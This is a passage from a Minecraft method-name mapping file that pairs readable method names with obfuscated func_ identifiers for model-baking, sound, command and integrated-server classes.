net/minecraft/client/resources/model/BuiltInModel/func_177556_c ()Z +MD: net/minecraft/client/resources/model/BuiltInModel/isBuiltInRenderer ()Z net/minecraft/client/resources/model/BuiltInModel/func_177553_d ()Z +MD: net/minecraft/client/resources/model/BuiltInModel/getParticleTexture ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/resources/model/BuiltInModel/func_177554_e ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/resources/model/BuiltInModel/getItemCameraTransforms ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; net/minecraft/client/resources/model/BuiltInModel/func_177552_f ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; +MD: net/minecraft/client/resources/model/ModelBakery$1/compare (Lnet/minecraft/client/resources/model/ModelResourceLocation;Lnet/minecraft/client/resources/model/ModelResourceLocation;)I net/minecraft/client/resources/model/ModelBakery$1/compare (Lnet/minecraft/client/resources/model/ModelResourceLocation;Lnet/minecraft/client/resources/model/ModelResourceLocation;)I +MD: net/minecraft/client/resources/model/ModelBakery$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/client/resources/model/ModelBakery$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/client/resources/model/ModelBakery$2/registerSprites (Lnet/minecraft/client/renderer/texture/TextureMap;)V net/minecraft/client/resources/model/ModelBakery$2/func_177059_a (Lnet/minecraft/client/renderer/texture/TextureMap;)V +MD: net/minecraft/client/resources/model/ModelBakery/setupModelRegistry ()Lnet/minecraft/util/IRegistry; net/minecraft/client/resources/model/ModelBakery/func_177570_a ()Lnet/minecraft/util/IRegistry; +MD: net/minecraft/client/resources/model/ModelBakery/makeBakedQuad (Lnet/minecraft/client/renderer/block/model/BlockPart;Lnet/minecraft/client/renderer/block/model/BlockPartFace;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/client/resources/model/ModelRotation;Z)Lnet/minecraft/client/renderer/block/model/BakedQuad; net/minecraft/client/resources/model/ModelBakery/func_177589_a (Lnet/minecraft/client/renderer/block/model/BlockPart;Lnet/minecraft/client/renderer/block/model/BlockPartFace;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/util/EnumFacing;Lnet/minecraft/client/resources/model/ModelRotation;Z)Lnet/minecraft/client/renderer/block/model/BakedQuad; +MD: net/minecraft/client/resources/model/ModelBakery/getTextureLocations (Lnet/minecraft/client/renderer/block/model/ModelBlock;)Ljava/util/Set; net/minecraft/client/resources/model/ModelBakery/func_177585_a (Lnet/minecraft/client/renderer/block/model/ModelBlock;)Ljava/util/Set; +MD: net/minecraft/client/resources/model/ModelBakery/bakeModel (Lnet/minecraft/client/renderer/block/model/ModelBlock;Lnet/minecraft/client/resources/model/ModelRotation;Z)Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/resources/model/ModelBakery/func_177578_a (Lnet/minecraft/client/renderer/block/model/ModelBlock;Lnet/minecraft/client/resources/model/ModelRotation;Z)Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/resources/model/ModelBakery/registerVariant (Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition;Lnet/minecraft/client/resources/model/ModelResourceLocation;)V net/minecraft/client/resources/model/ModelBakery/func_177569_a (Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition;Lnet/minecraft/client/resources/model/ModelResourceLocation;)V +MD: net/minecraft/client/resources/model/ModelBakery/access$000 (Lnet/minecraft/client/resources/model/ModelBakery;)Ljava/util/Map; net/minecraft/client/resources/model/ModelBakery/access$000 (Lnet/minecraft/client/resources/model/ModelBakery;)Ljava/util/Map; +MD: net/minecraft/client/resources/model/ModelBakery/getItemLocation (Ljava/lang/String;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/model/ModelBakery/func_177583_a (Ljava/lang/String;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/model/ModelBakery/loadVariants (Ljava/util/Collection;)V net/minecraft/client/resources/model/ModelBakery/func_177591_a (Ljava/util/Collection;)V +MD: net/minecraft/client/resources/model/ModelBakery/getModelBlockDefinition (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition; net/minecraft/client/resources/model/ModelBakery/func_177586_a (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/block/model/ModelBlockDefinition; +MD: net/minecraft/client/resources/model/ModelBakery/getVariantNames (Lnet/minecraft/item/Item;)Ljava/util/List; net/minecraft/client/resources/model/ModelBakery/func_177596_a (Lnet/minecraft/item/Item;)Ljava/util/List; +MD: net/minecraft/client/resources/model/ModelBakery/loadVariantItemModels ()V net/minecraft/client/resources/model/ModelBakery/func_177577_b ()V +MD: net/minecraft/client/resources/model/ModelBakery/hasItemModel (Lnet/minecraft/client/renderer/block/model/ModelBlock;)Z net/minecraft/client/resources/model/ModelBakery/func_177581_b (Lnet/minecraft/client/renderer/block/model/ModelBlock;)Z +MD: net/minecraft/client/resources/model/ModelBakery/getBlockStateLocation (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/model/ModelBakery/func_177584_b (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/model/ModelBakery/loadVariantModels ()V net/minecraft/client/resources/model/ModelBakery/func_177595_c ()V +MD: net/minecraft/client/resources/model/ModelBakery/isCustomRenderer (Lnet/minecraft/client/renderer/block/model/ModelBlock;)Z net/minecraft/client/resources/model/ModelBakery/func_177587_c (Lnet/minecraft/client/renderer/block/model/ModelBlock;)Z +MD: net/minecraft/client/resources/model/ModelBakery/loadModel (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/block/model/ModelBlock; net/minecraft/client/resources/model/ModelBakery/func_177594_c (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/renderer/block/model/ModelBlock; +MD: net/minecraft/client/resources/model/ModelBakery/loadItemModels ()V net/minecraft/client/resources/model/ModelBakery/func_177590_d ()V +MD: net/minecraft/client/resources/model/ModelBakery/makeItemModel (Lnet/minecraft/client/renderer/block/model/ModelBlock;)Lnet/minecraft/client/renderer/block/model/ModelBlock; net/minecraft/client/resources/model/ModelBakery/func_177582_d (Lnet/minecraft/client/renderer/block/model/ModelBlock;)Lnet/minecraft/client/renderer/block/model/ModelBlock; +MD: net/minecraft/client/resources/model/ModelBakery/getModelLocation (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/model/ModelBakery/func_177580_d (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/model/ModelBakery/registerVariantNames ()V net/minecraft/client/resources/model/ModelBakery/func_177592_e ()V +MD: net/minecraft/client/resources/model/ModelBakery/getParentPath (Lnet/minecraft/util/ResourceLocation;)Ljava/util/List; net/minecraft/client/resources/model/ModelBakery/func_177573_e (Lnet/minecraft/util/ResourceLocation;)Ljava/util/List; +MD: net/minecraft/client/resources/model/ModelBakery/bakeBlockModels ()V net/minecraft/client/resources/model/ModelBakery/func_177588_f ()V +MD: net/minecraft/client/resources/model/ModelBakery/getParentLocation (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; net/minecraft/client/resources/model/ModelBakery/func_177576_f (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/resources/model/ModelBakery/getVariantsTextureLocations ()Ljava/util/Set; net/minecraft/client/resources/model/ModelBakery/func_177575_g ()Ljava/util/Set; +MD: net/minecraft/client/resources/model/ModelBakery/loadModelsCheck ()V net/minecraft/client/resources/model/ModelBakery/func_177597_h ()V +MD: net/minecraft/client/resources/model/ModelBakery/loadModels ()V net/minecraft/client/resources/model/ModelBakery/func_177574_i ()V +MD: net/minecraft/client/resources/model/ModelBakery/loadSprites ()V net/minecraft/client/resources/model/ModelBakery/func_177572_j ()V +MD: net/minecraft/client/resources/model/ModelBakery/getItemsTextureLocations ()Ljava/util/Set; net/minecraft/client/resources/model/ModelBakery/func_177571_k ()Ljava/util/Set; +MD: net/minecraft/client/resources/model/ModelBakery/bakeItemModels ()V net/minecraft/client/resources/model/ModelBakery/func_177593_l ()V +MD: net/minecraft/client/resources/model/ModelManager/getMissingModel ()Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/resources/model/ModelManager/func_174951_a ()Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/resources/model/ModelManager/onResourceManagerReload (Lnet/minecraft/client/resources/IResourceManager;)V net/minecraft/client/resources/model/ModelManager/func_110549_a (Lnet/minecraft/client/resources/IResourceManager;)V +MD: net/minecraft/client/resources/model/ModelManager/getModel (Lnet/minecraft/client/resources/model/ModelResourceLocation;)Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/resources/model/ModelManager/func_174953_a (Lnet/minecraft/client/resources/model/ModelResourceLocation;)Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/resources/model/ModelManager/getTextureMap ()Lnet/minecraft/client/renderer/texture/TextureMap; net/minecraft/client/resources/model/ModelManager/func_174952_b ()Lnet/minecraft/client/renderer/texture/TextureMap; +MD: net/minecraft/client/resources/model/ModelManager/getBlockModelShapes ()Lnet/minecraft/client/renderer/BlockModelShapes; net/minecraft/client/resources/model/ModelManager/func_174954_c ()Lnet/minecraft/client/renderer/BlockModelShapes; +MD: net/minecraft/client/resources/model/ModelResourceLocation/parsePathString (Ljava/lang/String;)[Ljava/lang/String; net/minecraft/client/resources/model/ModelResourceLocation/func_177517_b (Ljava/lang/String;)[Ljava/lang/String; +MD: net/minecraft/client/resources/model/ModelResourceLocation/getVariant ()Ljava/lang/String; net/minecraft/client/resources/model/ModelResourceLocation/func_177518_c ()Ljava/lang/String; +MD: net/minecraft/client/resources/model/ModelResourceLocation/equals (Ljava/lang/Object;)Z net/minecraft/client/resources/model/ModelResourceLocation/equals (Ljava/lang/Object;)Z +MD: net/minecraft/client/resources/model/ModelResourceLocation/hashCode ()I net/minecraft/client/resources/model/ModelResourceLocation/hashCode ()I +MD: net/minecraft/client/resources/model/ModelResourceLocation/toString ()Ljava/lang/String; net/minecraft/client/resources/model/ModelResourceLocation/toString ()Ljava/lang/String; +MD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/addGeneralQuad (Lnet/minecraft/client/renderer/block/model/BakedQuad;)Lnet/minecraft/client/resources/model/SimpleBakedModel$Builder; net/minecraft/client/resources/model/SimpleBakedModel$Builder/func_177648_a (Lnet/minecraft/client/renderer/block/model/BakedQuad;)Lnet/minecraft/client/resources/model/SimpleBakedModel$Builder; +MD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/setTexture (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)Lnet/minecraft/client/resources/model/SimpleBakedModel$Builder; net/minecraft/client/resources/model/SimpleBakedModel$Builder/func_177646_a (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)Lnet/minecraft/client/resources/model/SimpleBakedModel$Builder; +MD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/addGeneralBreakingFours (Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V net/minecraft/client/resources/model/SimpleBakedModel$Builder/func_177647_a (Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V +MD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/addFaceBreakingFours (Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/util/EnumFacing;)V net/minecraft/client/resources/model/SimpleBakedModel$Builder/func_177649_a (Lnet/minecraft/client/resources/model/IBakedModel;Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/addFaceQuad (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/client/renderer/block/model/BakedQuad;)Lnet/minecraft/client/resources/model/SimpleBakedModel$Builder; net/minecraft/client/resources/model/SimpleBakedModel$Builder/func_177650_a (Lnet/minecraft/util/EnumFacing;Lnet/minecraft/client/renderer/block/model/BakedQuad;)Lnet/minecraft/client/resources/model/SimpleBakedModel$Builder; +MD: net/minecraft/client/resources/model/SimpleBakedModel$Builder/makeBakedModel ()Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/resources/model/SimpleBakedModel$Builder/func_177645_b ()Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/resources/model/SimpleBakedModel/getGeneralQuads ()Ljava/util/List; net/minecraft/client/resources/model/SimpleBakedModel/func_177550_a ()Ljava/util/List; +MD: net/minecraft/client/resources/model/SimpleBakedModel/getFaceQuads (Lnet/minecraft/util/EnumFacing;)Ljava/util/List; net/minecraft/client/resources/model/SimpleBakedModel/func_177551_a (Lnet/minecraft/util/EnumFacing;)Ljava/util/List; +MD: net/minecraft/client/resources/model/SimpleBakedModel/isAmbientOcclusion ()Z net/minecraft/client/resources/model/SimpleBakedModel/func_177555_b ()Z +MD: net/minecraft/client/resources/model/SimpleBakedModel/isGui3d ()Z net/minecraft/client/resources/model/SimpleBakedModel/func_177556_c ()Z +MD: net/minecraft/client/resources/model/SimpleBakedModel/isBuiltInRenderer ()Z net/minecraft/client/resources/model/SimpleBakedModel/func_177553_d ()Z +MD: net/minecraft/client/resources/model/SimpleBakedModel/getParticleTexture ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/resources/model/SimpleBakedModel/func_177554_e ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/resources/model/SimpleBakedModel/getItemCameraTransforms ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; net/minecraft/client/resources/model/SimpleBakedModel/func_177552_f ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; +MD: net/minecraft/client/resources/model/WeightedBakedModel$Builder/build ()Lnet/minecraft/client/resources/model/WeightedBakedModel; net/minecraft/client/resources/model/WeightedBakedModel$Builder/func_177676_a ()Lnet/minecraft/client/resources/model/WeightedBakedModel; +MD: net/minecraft/client/resources/model/WeightedBakedModel$Builder/add (Lnet/minecraft/client/resources/model/IBakedModel;I)Lnet/minecraft/client/resources/model/WeightedBakedModel$Builder; net/minecraft/client/resources/model/WeightedBakedModel$Builder/func_177677_a (Lnet/minecraft/client/resources/model/IBakedModel;I)Lnet/minecraft/client/resources/model/WeightedBakedModel$Builder; +MD: net/minecraft/client/resources/model/WeightedBakedModel$Builder/first ()Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/resources/model/WeightedBakedModel$Builder/func_177675_b ()Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/getCountQuads ()I net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/func_177635_a ()I +MD: net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/compareTo (Lnet/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem;)I net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/compareTo (Lnet/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem;)I +MD: net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/compareTo (Ljava/lang/Object;)I net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/compareTo (Ljava/lang/Object;)I +MD: net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/toString ()Ljava/lang/String; net/minecraft/client/resources/model/WeightedBakedModel$MyWeighedRandomItem/toString ()Ljava/lang/String; +MD: net/minecraft/client/resources/model/WeightedBakedModel/getGeneralQuads ()Ljava/util/List; net/minecraft/client/resources/model/WeightedBakedModel/func_177550_a ()Ljava/util/List; +MD: net/minecraft/client/resources/model/WeightedBakedModel/getAlternativeModel (J)Lnet/minecraft/client/resources/model/IBakedModel; net/minecraft/client/resources/model/WeightedBakedModel/func_177564_a (J)Lnet/minecraft/client/resources/model/IBakedModel; +MD: net/minecraft/client/resources/model/WeightedBakedModel/getFaceQuads (Lnet/minecraft/util/EnumFacing;)Ljava/util/List; net/minecraft/client/resources/model/WeightedBakedModel/func_177551_a (Lnet/minecraft/util/EnumFacing;)Ljava/util/List; +MD: net/minecraft/client/resources/model/WeightedBakedModel/isAmbientOcclusion ()Z net/minecraft/client/resources/model/WeightedBakedModel/func_177555_b ()Z +MD: net/minecraft/client/resources/model/WeightedBakedModel/isGui3d ()Z net/minecraft/client/resources/model/WeightedBakedModel/func_177556_c ()Z +MD: net/minecraft/client/resources/model/WeightedBakedModel/isBuiltInRenderer ()Z net/minecraft/client/resources/model/WeightedBakedModel/func_177553_d ()Z +MD: net/minecraft/client/resources/model/WeightedBakedModel/getParticleTexture ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; net/minecraft/client/resources/model/WeightedBakedModel/func_177554_e ()Lnet/minecraft/client/renderer/texture/TextureAtlasSprite; +MD: net/minecraft/client/resources/model/WeightedBakedModel/getItemCameraTransforms ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; net/minecraft/client/resources/model/WeightedBakedModel/func_177552_f ()Lnet/minecraft/client/renderer/block/model/ItemCameraTransforms; +MD: net/minecraft/command/server/CommandTestForBlock/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandTestForBlock/func_82362_a ()I +MD: net/minecraft/command/server/CommandTestForBlock/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandTestForBlock/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandTestForBlock/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandTestForBlock/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandTestForBlock/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandTestForBlock/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandTestForBlock/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandTestForBlock/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/audio/PositionedSound/getSoundLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/audio/PositionedSound/func_147650_b ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/audio/PositionedSound/canRepeat ()Z net/minecraft/client/audio/PositionedSound/func_147657_c ()Z +MD: net/minecraft/client/audio/PositionedSound/getRepeatDelay ()I net/minecraft/client/audio/PositionedSound/func_147652_d ()I +MD: net/minecraft/client/audio/PositionedSound/getVolume ()F net/minecraft/client/audio/PositionedSound/func_147653_e ()F +MD: net/minecraft/client/audio/PositionedSound/getPitch ()F net/minecraft/client/audio/PositionedSound/func_147655_f ()F +MD: net/minecraft/client/audio/PositionedSound/getXPosF ()F net/minecraft/client/audio/PositionedSound/func_147649_g ()F +MD: net/minecraft/client/audio/PositionedSound/getYPosF ()F net/minecraft/client/audio/PositionedSound/func_147654_h ()F +MD: net/minecraft/client/audio/PositionedSound/getZPosF ()F net/minecraft/client/audio/PositionedSound/func_147651_i ()F +MD: net/minecraft/client/audio/PositionedSound/getAttenuationType ()Lnet/minecraft/client/audio/ISound$AttenuationType; net/minecraft/client/audio/PositionedSound/func_147656_j ()Lnet/minecraft/client/audio/ISound$AttenuationType; +MD: net/minecraft/client/audio/MovingSound/isDonePlaying ()Z net/minecraft/client/audio/MovingSound/func_147667_k ()Z +MD: net/minecraft/client/audio/GuardianSound/update ()V net/minecraft/client/audio/GuardianSound/func_73660_a ()V +MD: net/minecraft/client/audio/MovingSoundMinecart/update ()V net/minecraft/client/audio/MovingSoundMinecart/func_73660_a ()V +MD: net/minecraft/client/audio/MovingSoundMinecartRiding/update ()V net/minecraft/client/audio/MovingSoundMinecartRiding/func_73660_a ()V +MD: net/minecraft/client/audio/PositionedSoundRecord/create (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/audio/PositionedSoundRecord; net/minecraft/client/audio/PositionedSoundRecord/func_147673_a (Lnet/minecraft/util/ResourceLocation;)Lnet/minecraft/client/audio/PositionedSoundRecord; +MD: net/minecraft/client/audio/PositionedSoundRecord/create (Lnet/minecraft/util/ResourceLocation;F)Lnet/minecraft/client/audio/PositionedSoundRecord; net/minecraft/client/audio/PositionedSoundRecord/func_147674_a (Lnet/minecraft/util/ResourceLocation;F)Lnet/minecraft/client/audio/PositionedSoundRecord; +MD: net/minecraft/client/audio/PositionedSoundRecord/create (Lnet/minecraft/util/ResourceLocation;FFF)Lnet/minecraft/client/audio/PositionedSoundRecord; net/minecraft/client/audio/PositionedSoundRecord/func_147675_a (Lnet/minecraft/util/ResourceLocation;FFF)Lnet/minecraft/client/audio/PositionedSoundRecord; +MD: net/minecraft/client/audio/SoundCategory/getCategoryName ()Ljava/lang/String; net/minecraft/client/audio/SoundCategory/func_147155_a ()Ljava/lang/String; +MD: net/minecraft/client/audio/SoundCategory/getCategory (Ljava/lang/String;)Lnet/minecraft/client/audio/SoundCategory; net/minecraft/client/audio/SoundCategory/func_147154_a (Ljava/lang/String;)Lnet/minecraft/client/audio/SoundCategory; +MD: net/minecraft/client/audio/SoundCategory/getCategoryId ()I net/minecraft/client/audio/SoundCategory/func_147156_b ()I +MD: net/minecraft/client/audio/SoundCategory/values ()[Lnet/minecraft/client/audio/SoundCategory; net/minecraft/client/audio/SoundCategory/values ()[Lnet/minecraft/client/audio/SoundCategory; +MD: net/minecraft/client/audio/SoundList$SoundEntry$Type/getType (Ljava/lang/String;)Lnet/minecraft/client/audio/SoundList$SoundEntry$Type; net/minecraft/client/audio/SoundList$SoundEntry$Type/func_148580_a (Ljava/lang/String;)Lnet/minecraft/client/audio/SoundList$SoundEntry$Type; +MD: net/minecraft/client/audio/SoundList$SoundEntry$Type/values ()[Lnet/minecraft/client/audio/SoundList$SoundEntry$Type; net/minecraft/client/audio/SoundList$SoundEntry$Type/values ()[Lnet/minecraft/client/audio/SoundList$SoundEntry$Type; +MD: net/minecraft/client/audio/SoundList$SoundEntry/getSoundEntryName ()Ljava/lang/String; net/minecraft/client/audio/SoundList$SoundEntry/func_148556_a ()Ljava/lang/String; +MD: net/minecraft/client/audio/SoundList$SoundEntry/setSoundEntryVolume (F)V net/minecraft/client/audio/SoundList$SoundEntry/func_148553_a (F)V +MD: net/minecraft/client/audio/SoundList$SoundEntry/setSoundEntryWeight (I)V net/minecraft/client/audio/SoundList$SoundEntry/func_148554_a (I)V +MD: net/minecraft/client/audio/SoundList$SoundEntry/setSoundEntryType (Lnet/minecraft/client/audio/SoundList$SoundEntry$Type;)V net/minecraft/client/audio/SoundList$SoundEntry/func_148562_a (Lnet/minecraft/client/audio/SoundList$SoundEntry$Type;)V +MD: net/minecraft/client/audio/SoundList$SoundEntry/setSoundEntryName (Ljava/lang/String;)V net/minecraft/client/audio/SoundList$SoundEntry/func_148561_a (Ljava/lang/String;)V +MD: net/minecraft/client/audio/SoundList$SoundEntry/setStreaming (Z)V net/minecraft/client/audio/SoundList$SoundEntry/func_148557_a (Z)V +MD: net/minecraft/client/audio/SoundList$SoundEntry/getSoundEntryVolume ()F net/minecraft/client/audio/SoundList$SoundEntry/func_148558_b ()F +MD: net/minecraft/client/audio/SoundList$SoundEntry/setSoundEntryPitch (F)V net/minecraft/client/audio/SoundList$SoundEntry/func_148559_b (F)V +MD: net/minecraft/client/audio/SoundList$SoundEntry/getSoundEntryPitch ()F net/minecraft/client/audio/SoundList$SoundEntry/func_148560_c ()F +MD: net/minecraft/client/audio/SoundList$SoundEntry/getSoundEntryWeight ()I net/minecraft/client/audio/SoundList$SoundEntry/func_148555_d ()I +MD: net/minecraft/client/audio/SoundList$SoundEntry/getSoundEntryType ()Lnet/minecraft/client/audio/SoundList$SoundEntry$Type; net/minecraft/client/audio/SoundList$SoundEntry/func_148563_e ()Lnet/minecraft/client/audio/SoundList$SoundEntry$Type; +MD: net/minecraft/client/audio/SoundList$SoundEntry/isStreaming ()Z net/minecraft/client/audio/SoundList$SoundEntry/func_148552_f ()Z +MD: net/minecraft/client/audio/SoundList/getSoundList ()Ljava/util/List; net/minecraft/client/audio/SoundList/func_148570_a ()Ljava/util/List; +MD: net/minecraft/client/audio/SoundList/setSoundCategory (Lnet/minecraft/client/audio/SoundCategory;)V net/minecraft/client/audio/SoundList/func_148571_a (Lnet/minecraft/client/audio/SoundCategory;)V +MD: net/minecraft/client/audio/SoundList/setReplaceExisting (Z)V net/minecraft/client/audio/SoundList/func_148572_a (Z)V +MD: net/minecraft/client/audio/SoundList/canReplaceExisting ()Z net/minecraft/client/audio/SoundList/func_148574_b ()Z +MD: net/minecraft/client/audio/SoundList/getSoundCategory ()Lnet/minecraft/client/audio/SoundCategory; net/minecraft/client/audio/SoundList/func_148573_c ()Lnet/minecraft/client/audio/SoundCategory; +MD: net/minecraft/client/audio/SoundListSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/audio/SoundList; net/minecraft/client/audio/SoundListSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/client/audio/SoundList; +MD: net/minecraft/client/audio/SoundListSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/client/audio/SoundListSerializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/client/audio/ISound$AttenuationType/getTypeInt ()I net/minecraft/client/audio/ISound$AttenuationType/func_148586_a ()I +MD: net/minecraft/client/audio/ISound$AttenuationType/values ()[Lnet/minecraft/client/audio/ISound$AttenuationType; net/minecraft/client/audio/ISound$AttenuationType/values ()[Lnet/minecraft/client/audio/ISound$AttenuationType; +MD: net/minecraft/client/audio/ISound/getSoundLocation ()Lnet/minecraft/util/ResourceLocation; net/minecraft/client/audio/ISound/func_147650_b ()Lnet/minecraft/util/ResourceLocation; +MD: net/minecraft/client/audio/ISound/canRepeat ()Z net/minecraft/client/audio/ISound/func_147657_c ()Z +MD: net/minecraft/client/audio/ISound/getRepeatDelay ()I net/minecraft/client/audio/ISound/func_147652_d ()I +MD: net/minecraft/client/audio/ISound/getVolume ()F net/minecraft/client/audio/ISound/func_147653_e ()F +MD: net/minecraft/client/audio/ISound/getPitch ()F net/minecraft/client/audio/ISound/func_147655_f ()F +MD: net/minecraft/client/audio/ISound/getXPosF ()F net/minecraft/client/audio/ISound/func_147649_g ()F +MD: net/minecraft/client/audio/ISound/getYPosF ()F net/minecraft/client/audio/ISound/func_147654_h ()F +MD: net/minecraft/client/audio/ISound/getZPosF ()F net/minecraft/client/audio/ISound/func_147651_i ()F +MD: net/minecraft/client/audio/ISound/getAttenuationType ()Lnet/minecraft/client/audio/ISound$AttenuationType; net/minecraft/client/audio/ISound/func_147656_j ()Lnet/minecraft/client/audio/ISound$AttenuationType; +MD: net/minecraft/client/audio/ITickableSound/isDonePlaying ()Z net/minecraft/client/audio/ITickableSound/func_147667_k ()Z +MD: net/minecraft/server/integrated/IntegratedPlayerList/allowUserToConnect (Ljava/net/SocketAddress;Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; net/minecraft/server/integrated/IntegratedPlayerList/func_148542_a (Ljava/net/SocketAddress;Lcom/mojang/authlib/GameProfile;)Ljava/lang/String; +MD: net/minecraft/server/integrated/IntegratedPlayerList/getServerInstance ()Lnet/minecraft/server/integrated/IntegratedServer; net/minecraft/server/integrated/IntegratedPlayerList/func_72365_p ()Lnet/minecraft/server/integrated/IntegratedServer; +MD: net/minecraft/server/integrated/IntegratedPlayerList/writePlayerData (Lnet/minecraft/entity/player/EntityPlayerMP;)V net/minecraft/server/integrated/IntegratedPlayerList/func_72391_b (Lnet/minecraft/entity/player/EntityPlayerMP;)V +MD: net/minecraft/server/integrated/IntegratedPlayerList/getServerInstance ()Lnet/minecraft/server/MinecraftServer; net/minecraft/server/integrated/IntegratedPlayerList/func_72365_p ()Lnet/minecraft/server/MinecraftServer; +MD: net/minecraft/server/integrated/IntegratedPlayerList/getHostPlayerData ()Lnet/minecraft/nbt/NBTTagCompound; net/minecraft/server/integrated/IntegratedPlayerList/func_72378_q ()Lnet/minecraft/nbt/NBTTagCompound; +MD: net/minecraft/server/integrated/IntegratedServer$1/call ()Ljava/lang/String; net/minecraft/server/integrated/IntegratedServer$1/call ()Ljava/lang/String; +MD: net/minecraft/server/integrated/IntegratedServer$1/call ()Ljava/lang/Object; net/minecraft/server/integrated/IntegratedServer$1/call ()Ljava/lang/Object; +MD: net/minecraft/server/integrated/IntegratedServer$2/call ()Ljava/lang/String; net/minecraft/server/integrated/IntegratedServer$2/call ()Ljava/lang/String; +MD: net/minecraft/server/integrated/IntegratedServer$2/call ()Ljava/lang/Object; net/minecraft/server/integrated/IntegratedServer$2/call ()Ljava/lang/Object; +MD: net/minecraft/server/integrated/IntegratedServer$3/run ()V 